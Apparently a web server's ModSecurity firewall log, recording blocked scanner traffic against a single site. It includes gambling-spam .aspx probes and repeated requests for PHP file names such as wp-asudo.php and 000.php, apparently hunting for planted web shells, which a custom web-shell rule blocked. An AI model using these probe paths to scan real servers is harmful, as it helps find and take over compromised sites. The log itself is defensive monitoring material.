[Wed Apr 01 07:06:23.010747 2026] [:error] [pid 23714:tid 23747] [client 149.233.186.7:61596] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acxTb0HxDDU2ETcG9DTeKgAAAA0"]
[Wed Apr 01 07:06:25.458797 2026] [:error] [pid 24348:tid 24387] [client 149.233.186.7:64288] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acxTcW0Vs69Y5nF1HA_gKgAAAYg"]
[Wed Apr 01 07:06:49.020930 2026] [:error] [pid 24348:tid 24382] [client 149.233.186.7:61645] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "acxTiW0Vs69Y5nF1HA_gSQAAAYM"]
[Wed Apr 01 07:06:51.068836 2026] [:error] [pid 23714:tid 23751] [client 149.233.186.7:61457] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "acxTi0HxDDU2ETcG9DTeZQAAABE"]
[Wed Apr 01 07:06:53.426730 2026] [:error] [pid 23714:tid 23734] [client 149.233.186.7:60361] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "acxTjUHxDDU2ETcG9DTeawAAAAA"]
[Wed Apr 01 07:06:55.637281 2026] [:error] [pid 24346:tid 24364] [client 149.233.186.7:64528] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "acxTj7c1l8kg9MhGHIKQOQAAAUw"]
[Wed Apr 01 07:06:57.851831 2026] [:error] [pid 24348:tid 24398] [client 149.233.186.7:60648] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acxTkW0Vs69Y5nF1HA_gUgAAAZM"]
[Wed Apr 01 07:07:00.215573 2026] [:error] [pid 24348:tid 24391] [client 149.233.186.7:64285] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "acxTlG0Vs69Y5nF1HA_gWwAAAYw"]
[Wed Apr 01 07:07:02.524286 2026] [:error] [pid 23714:tid 23741] [client 149.233.186.7:62371] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "acxTlkHxDDU2ETcG9DTecQAAAAc"]
[Wed Apr 01 07:07:04.748717 2026] [:error] [pid 24348:tid 24386] [client 149.233.186.7:61055] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acxTmG0Vs69Y5nF1HA_gYgAAAYc"]
[Wed Apr 01 07:07:06.872139 2026] [:error] [pid 23714:tid 23734] [client 149.233.186.7:59370] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "acxTmkHxDDU2ETcG9DTeeAAAAAA"]
[Wed Apr 01 07:07:09.149497 2026] [:error] [pid 23714:tid 23745] [client 149.233.186.7:60352] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acxTnUHxDDU2ETcG9DTegQAAAAs"]
[Wed Apr 01 07:07:11.563084 2026] [:error] [pid 23819:tid 23831] [client 149.233.186.7:63802] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "acxTn9dfUS_37wFAM77q_gAAAMk"]
[Wed Apr 01 07:07:13.928153 2026] [:error] [pid 23714:tid 23750] [client 149.233.186.7:64548] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acxToUHxDDU2ETcG9DTeiAAAABA"]
[Wed Apr 01 07:07:16.090340 2026] [:error] [pid 23715:tid 23770] [client 149.233.186.7:64968] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acxTpK-REzOruNbiT9xWbgAAAEk"]
[Wed Apr 01 07:07:18.233192 2026] [:error] [pid 24314:tid 24327] [client 149.233.186.7:65077] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "acxTppRF3FCzjmMUX5bp2wAAAQk"]
[Wed Apr 01 07:07:20.393320 2026] [:error] [pid 23714:tid 23755] [client 149.233.186.7:62206] [client 149.233.186.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "acxTqEHxDDU2ETcG9DTemAAAABU"]
[Wed Apr 01 07:26:41.797429 2026] [:error] [pid 23716:tid 23802] [client 45.61.184.125:41850] [client 45.61.184.125] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||gigfragments.org|F|2"] [data "TX:0=application/qwik-json"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acxYMXVtFUg_mx-RYb5utwAAAI4"]
[Wed Apr 01 08:14:09.902266 2026] [:error] [pid 23715:tid 23769] [client 117.62.235.53:51199] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acxjUa-REzOruNbiT9x5vAAAAEg"]
[Wed Apr 01 09:18:17.604595 2026] [:error] [pid 23819:tid 23835] [client 74.248.134.58:14050] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acxyWddfUS_37wFAM74I0gAAAM0"]
[Wed Apr 01 09:18:18.113576 2026] [:error] [pid 23714:tid 23750] [client 74.248.134.58:13782] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acxyWkHxDDU2ETcG9DQ-7wAAABA"]
[Wed Apr 01 09:18:18.623364 2026] [:error] [pid 23819:tid 23826] [client 74.248.134.58:63592] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acxyWtdfUS_37wFAM74I0wAAAMQ"]
[Wed Apr 01 09:18:19.134107 2026] [:error] [pid 23716:tid 23794] [client 74.248.134.58:14071] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acxyW3VtFUg_mx-RYb6SaQAAAIY"]
[Wed Apr 01 09:18:19.644681 2026] [:error] [pid 23716:tid 23803] [client 74.248.134.58:59229] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-moonka.php"] [unique_id "acxyW3VtFUg_mx-RYb6SbQAAAI8"]
[Wed Apr 01 09:18:20.153876 2026] [:error] [pid 23716:tid 23805] [client 74.248.134.58:59211] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-moonka.php"] [unique_id "acxyXHVtFUg_mx-RYb6ScgAAAJE"]
[Wed Apr 01 09:18:20.664008 2026] [:error] [pid 23716:tid 23792] [client 74.248.134.58:59253] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-moonka.php"] [unique_id "acxyXHVtFUg_mx-RYb6SeAAAAIQ"]
[Wed Apr 01 09:18:21.177093 2026] [:error] [pid 23714:tid 23737] [client 74.248.134.58:63573] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-moonka.php"] [unique_id "acxyXUHxDDU2ETcG9DQ--QAAAAM"]
[Wed Apr 01 09:18:21.699044 2026] [:error] [pid 23714:tid 23739] [client 74.248.134.58:14045] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "acxyXUHxDDU2ETcG9DQ-_gAAAAU"]
[Wed Apr 01 09:18:22.208065 2026] [:error] [pid 23714:tid 23735] [client 74.248.134.58:59240] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "acxyXkHxDDU2ETcG9DQ_AQAAAAE"]
[Wed Apr 01 09:18:22.727039 2026] [:error] [pid 23716:tid 23795] [client 74.248.134.58:59247] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "acxyXnVtFUg_mx-RYb6SfQAAAIc"]
[Wed Apr 01 09:18:23.238909 2026] [:error] [pid 23714:tid 23752] [client 74.248.134.58:59250] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "acxyX0HxDDU2ETcG9DQ_BgAAABI"]
[Wed Apr 01 09:18:23.748754 2026] [:error] [pid 23716:tid 23788] [client 74.248.134.58:63585] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "acxyX3VtFUg_mx-RYb6SgAAAAIA"]
[Wed Apr 01 09:18:24.260744 2026] [:error] [pid 24314:tid 24328] [client 74.248.134.58:14076] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "acxyYJRF3FCzjmMUX5YGXwAAAQo"]
[Wed Apr 01 09:18:24.769339 2026] [:error] [pid 23716:tid 23812] [client 74.248.134.58:63577] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "acxyYHVtFUg_mx-RYb6ShQAAAJg"]
[Wed Apr 01 09:18:25.279248 2026] [:error] [pid 23714:tid 23740] [client 74.248.134.58:13765] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "acxyYUHxDDU2ETcG9DQ_DAAAAAY"]
[Wed Apr 01 09:18:25.789257 2026] [:error] [pid 23715:tid 23783] [client 74.248.134.58:59215] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-thi.php"] [unique_id "acxyYa-REzOruNbiT9yOaAAAAFY"]
[Wed Apr 01 09:18:26.300157 2026] [:error] [pid 23714:tid 23756] [client 74.248.134.58:13776] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-thi.php"] [unique_id "acxyYkHxDDU2ETcG9DQ_FgAAABY"]
[Wed Apr 01 09:18:26.810691 2026] [:error] [pid 23714:tid 23736] [client 74.248.134.58:63596] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-thi.php"] [unique_id "acxyYkHxDDU2ETcG9DQ_GwAAAAI"]
[Wed Apr 01 09:18:27.322383 2026] [:error] [pid 23714:tid 23738] [client 74.248.134.58:14036] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-thi.php"] [unique_id "acxyY0HxDDU2ETcG9DQ_HQAAAAQ"]
[Wed Apr 01 09:18:27.831536 2026] [:error] [pid 23714:tid 23739] [client 74.248.134.58:13991] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "acxyY0HxDDU2ETcG9DQ_IAAAAAU"]
[Wed Apr 01 09:18:28.339615 2026] [:error] [pid 23714:tid 23751] [client 74.248.134.58:14041] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "acxyZEHxDDU2ETcG9DQ_JwAAABE"]
[Wed Apr 01 09:18:28.850793 2026] [:error] [pid 23714:tid 23737] [client 74.248.134.58:63574] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "acxyZEHxDDU2ETcG9DQ_LQAAAAM"]
[Wed Apr 01 09:18:29.361197 2026] [:error] [pid 23716:tid 23812] [client 74.248.134.58:59248] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "acxyZXVtFUg_mx-RYb6SjQAAAJg"]
[Wed Apr 01 09:18:29.873485 2026] [:error] [pid 24346:tid 24356] [client 74.248.134.58:63590] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acxyZbc1l8kg9MhGHIKxegAAAUQ"]
[Wed Apr 01 09:18:30.384329 2026] [:error] [pid 24346:tid 24367] [client 74.248.134.58:13777] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acxyZrc1l8kg9MhGHIKxfAAAAU8"]
[Wed Apr 01 09:18:30.896834 2026] [:error] [pid 23714:tid 23739] [client 74.248.134.58:63602] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acxyZkHxDDU2ETcG9DQ_QwAAAAU"]
[Wed Apr 01 09:18:31.406728 2026] [:error] [pid 24314:tid 24318] [client 74.248.134.58:13763] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acxyZ5RF3FCzjmMUX5YGYwAAAQA"]
[Wed Apr 01 09:18:31.916484 2026] [:error] [pid 24348:tid 24396] [client 74.248.134.58:63600] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "acxyZ20Vs69Y5nF1HA8SEQAAAZE"]
[Wed Apr 01 09:18:32.427131 2026] [:error] [pid 23819:tid 23825] [client 74.248.134.58:14031] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "acxyaNdfUS_37wFAM74I4wAAAMM"]
[Wed Apr 01 09:18:32.941091 2026] [:error] [pid 24348:tid 24403] [client 74.248.134.58:63563] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "acxyaG0Vs69Y5nF1HA8SFgAAAZg"]
[Wed Apr 01 09:18:33.451285 2026] [:error] [pid 23716:tid 23810] [client 74.248.134.58:63572] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "acxyaXVtFUg_mx-RYb6SkQAAAJY"]
[Wed Apr 01 09:18:33.962618 2026] [:error] [pid 23714:tid 23742] [client 74.248.134.58:14037] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "acxyaUHxDDU2ETcG9DQ_SgAAAAg"]
[Wed Apr 01 09:18:34.473674 2026] [:error] [pid 23714:tid 23738] [client 74.248.134.58:13805] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "acxyakHxDDU2ETcG9DQ_TQAAAAQ"]
[Wed Apr 01 09:18:34.983452 2026] [:error] [pid 23716:tid 23808] [client 74.248.134.58:63579] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "acxyanVtFUg_mx-RYb6SlQAAAJQ"]
[Wed Apr 01 09:18:35.495641 2026] [:error] [pid 23716:tid 23804] [client 74.248.134.58:13807] [client 74.248.134.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "acxya3VtFUg_mx-RYb6SmgAAAJA"]
